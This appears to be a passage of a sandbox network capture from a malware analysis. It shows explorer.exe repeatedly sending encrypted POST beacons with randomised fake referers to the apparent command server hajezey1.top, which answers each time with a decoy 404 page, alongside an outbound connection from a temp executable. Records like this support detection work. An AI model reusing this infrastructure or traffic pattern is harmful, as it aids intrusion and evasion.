Oct 29, 2021 20:30:00.702804089 CEST	6124	IN	Data Raw: 05 f1 6f 50 eb 40 14 3d 00 b0 da 59 ea 15 e8 3f e2 7f b1 cf bf 03 09 3d 00 07 01 84 0c 6e e8 3f 75 cd d0 98 3f b3 1b 3d 00 25 92 6b 19 c7 e8 3f 5a 45 4d 2d 27 5e 10 3d 00 10 44 54 1b 21 e9 3f 3a 5a c2 ca 6e 3d 1a 3d 00 b7 f5 30 1d 7c e9 3f 07 d0 Data Ascii: oP@=Y?=n?u?=%k?ZEM-'^=DT!?:Zn==0\|?O=*?m}I{=eP5?+}ZI=Q?^oc;<'?u/r<S?i1=q?/={ss?VV&=#k~?[<?vB<6#M?
Oct 29, 2021 20:30:00.755817890 CEST	6125	IN	Data Raw: 93 11 5c 25 ef 3f 66 2c ce f3 91 21 ef 3f ea b0 b8 25 bf 1d ef 3f 4e 0e 1f a4 e3 19 ef 3f 24 08 c4 6b ff 15 ef 3f 80 6f 61 79 12 12 ef 3f 2a 14 a8 c9 1c 0e ef 3f 9c b5 3f 59 1e 0a ef 3f cd f3 c6 24 17 06 ef 3f c2 3f d3 28 07 02 ef 3f ee cb f0 61 Data Ascii: \%?f,!?%?N?$k?oay?*??Y?$??(?a?9y?99R?%R?F?@I?j T?0<?2j?p~?,L?@_o?7?'?VG?D<xZu?`\@j?)]Gq`?LcU?JupJ?CY

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.7	49796	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:30:05.129215956 CEST	8127	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://iyxlcdj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 274 Host: hajezey1.top
Oct 29, 2021 20:30:05.129220963 CEST	8127	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 8b 66 5d 02 c9 a1 c1 64 25 cb 8a 67 Data Ascii: 7v:7AFTmwmwu$f]d%g5ujiGFgM:DnIxAv.g2;/J&7W"7{$L0>y[>)\QJ*7Q:[<q=K@d\\|0>T"xN$4@S&&
Oct 29, 2021 20:30:05.210537910 CEST	8128	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:30:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.7	49797	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:30:05.370523930 CEST	8129	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ayllaycsn.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 183 Host: hajezey1.top
Oct 29, 2021 20:30:05.371540070 CEST	8129	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 88 66 5d 02 c8 a1 c1 64 10 c7 cd 76 Data Ascii: 7v:7AFTmwmwu$f]dvF>\|AKK~flml}%L=!dG.<zuJ?>3;NZc0?0
Oct 29, 2021 20:30:05.453484058 CEST	8130	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:30:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.7	49798	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:30:06.196230888 CEST	8130	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xcwoodah.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 317 Host: hajezey1.top
Oct 29, 2021 20:30:06.196250916 CEST	8131	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 89 66 5d 02 c8 a1 c1 64 19 85 91 21 Data Ascii: 7v:7AFTmwmwu$f]d!6Z7.iY;6g"IbgndLLuw~dFh$}5"-fNWL?&m<lZ<r]7?9+L9/bBxf/;/.JlEF@
Oct 29, 2021 20:30:06.276673079 CEST	8131	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:30:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.7	49795	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\B82B.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.7	49799	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:30:06.499706984 CEST	8132	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vtlkrwbu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 227 Host: hajezey1.top
Oct 29, 2021 20:30:06.499723911 CEST	8132	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 86 66 5d 02 c8 a1 c1 64 2e bc c7 2e Data Ascii: 7v:7AFTmwmwu$f]d..HCLCjbj]v_Y9yCt?N\|H>DYvNG$k0Hq+%+!yXwp$H0Z_h1-:6RTYk?V7
Oct 29, 2021 20:30:06.580986977 CEST	8133	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:30:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.7	49800	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:30:06.884872913 CEST	8134	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ohksryibbc.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 333 Host: hajezey1.top
Oct 29, 2021 20:30:06.884901047 CEST	8134	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 87 66 5d 02 c8 a1 c1 64 1d af a8 14 Data Ascii: 7v:7AFTmwmwu$f]d%sy2*imGN<kG}Xll$"%ZiY$/ZLT'z>e4'2V:rzF4MtLdmj?0kg,"y0EDCb;!^!n#NgmTJ
Oct 29, 2021 20:30:06.969758034 CEST	8135	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:30:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.7	49801	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:30:09.149390936 CEST	8136	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aandk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 237 Host: hajezey1.top
Oct 29, 2021 20:30:09.149437904 CEST	8136	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 84 66 5d 02 c8 a1 c1 64 46 d7 b0 07 Data Ascii: 7v:7AFTmwmwu$f]dFlnh=9'yVp[Fc7*2f0<<}7bWU0jWD:/C!L.cps#R5_GJW0+]^c\|0zIGh[C
Oct 29, 2021 20:30:09.230803013 CEST	8137	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:30:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.7	49802	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:30:09.369517088 CEST	8138	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sbvoxgf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 167 Host: hajezey1.top
Oct 29, 2021 20:30:09.369535923 CEST	8138	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 85 66 5d 02 c8 a1 c1 64 20 81 da 15 Data Ascii: 7v:7AFTmwmwu$f]d nyRaDQmSt^1ip7J>[Zb(DA0q]JdM.;-)PP
Oct 29, 2021 20:30:09.447693110 CEST	8138	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:30:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.7	49803	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:30:09.592612982 CEST	8140	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qhsdwx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 309 Host: hajezey1.top
Oct 29, 2021 20:30:09.592736959 CEST	8140	OUT	Data Raw: 10 87 f0 e4 1a f8 d3 b4 cd 37 76 3a 0c ca 94 fb 37 11 a8 41 d6 46 19 90 b8 ee dc 86 ff a4 e1 84 11 c3 54 a1 6d 1f bf 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 82 66 5d 02 c8 a1 c1 64 34 9d a1 35 Data Ascii: 7v:7AFTmwmwu$f]d45BYo@GwlK?G$ewOlk?{5LNx2&zA0E<?\8#IZ7_@rNBi~)t&JKz_WoGLdhEGer0kk<:?
Oct 29, 2021 20:30:09.674103022 CEST	8141	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:30:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 